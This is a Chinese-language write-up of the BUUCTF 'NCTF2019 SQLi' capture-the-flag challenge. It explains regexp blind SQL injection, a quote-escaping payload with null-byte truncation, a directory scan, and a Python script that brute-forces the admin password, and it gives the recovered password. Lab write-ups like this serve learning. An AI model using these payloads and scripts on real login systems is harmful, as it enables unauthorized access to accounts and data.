BUUCTF-WEB 【NCTF2019】SQLi 1

考点

sql注入(regexp注入)

前置知识

regexp注入

在sql语句中

select database(); // 是输出当前打开的是数据库名

image-20210827202307116

select database() regexp”^d”; // 这样可以匹配数据库名的开头是 d

是就会返回 1 不是则返回0

image-20210827202500806

image-20210827202526776

当sql语句是这样

select * from users where user=’’||password;

image-20210827203659968

可以看到出来两条数据,至于为什么会出来两条数据,我很好奇,按理说 ''||password 为逻辑运算,结果 只能为1 或者 0 ,当user =0/1的时候,并没有字段能够满足,但还是查询出来两条数据???先不纠结这个,做题要紧。

接下来 可以通过 ''||passwor dregexp"^8d" 的方式 不断匹配出数据当中 password的值。

image-20210827204133723

这个就是regexp注入。

解题过程

打开

image-20210827204310961

一个登录页面,还显示了提交的sql语句。

dirsearch扫目录
1
python3 dirsearch.py -u "http://08df778b-b131-45e7-9eff-822311e44b07.node4.buuoj.cn:81/"  -x 404,429 -s 1

image-20210827204642559

可以得到一些提示信息,打开 robots.txt

image-20210827204720254

实际上提示的就是 hint.txt

image-20210827204759926

可以发现过滤了很多关键字,提示信息说只需要找到admin的密码 提交,然后就能拿到flag。

这种题我也没做过,直接跟随大佬的脚步,看了wp,regexp注入。

首先构造payload。

1
username=\&passwd=||passwd/**/regexp"^y";%00

为什么要这么构造呢?

1
2
3
4
5
6
7
8
9
10
11
页面上回显的sql语句
select * from users where username='' and passwd=''
我们通过username 传入 \ 这样可以把'转义掉 变成这样
select * from users where username='\' and passwd=''
此时的 \' and passwd=' 就成了 username的值
在通过传入 passwd 传入 ||passwd/**/regexp"^y";%00
select * from users where username='\' and passwd='||passwd/**/regexp"^y";%00'
就和前置知识类似了
select * from users where username=''||passwd/**/regexp"^y";%00'
后边的%00相当于截断了后边的字符,看了下php 对应版本为 5.2.16,存在截断漏洞,
接下来只需要遍历 regexp"^x" 中的 x即可
python写脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
from urllib import parse



url = "http://08df778b-b131-45e7-9eff-822311e44b07.node4.buuoj.cn:81/"
# 构造字典

dict_list = [ i for i in range(97,123)]
shuzi = [i for i in range(48,58)]
dict_list +=shuzi
dict_list.append(95)
flag = ''
for i in range(50):
for j in dict_list:
payload = '||passwd/**/regexp"^%s";\x00'%(flag+chr(j))
datas = {
'username': '\\',
'passwd': payload
}
print(datas)
import time
time.sleep(1)
res = requests.post(url=url,data=datas)
# print(res.text)
if 'welcome.php' in res.text :
flag += chr(j)
print("[+] "+flag)
break

容易跑到一半就报错,直接把得到的结果手动拼上去继续跑

image-20210827212246681

得到

1
you_will_never_know7788990

提交

1
username=&passwd=you_will_never_know7788990

image-20210827212740678

总结

这道题,又让我学到了sql注入的一种新姿势。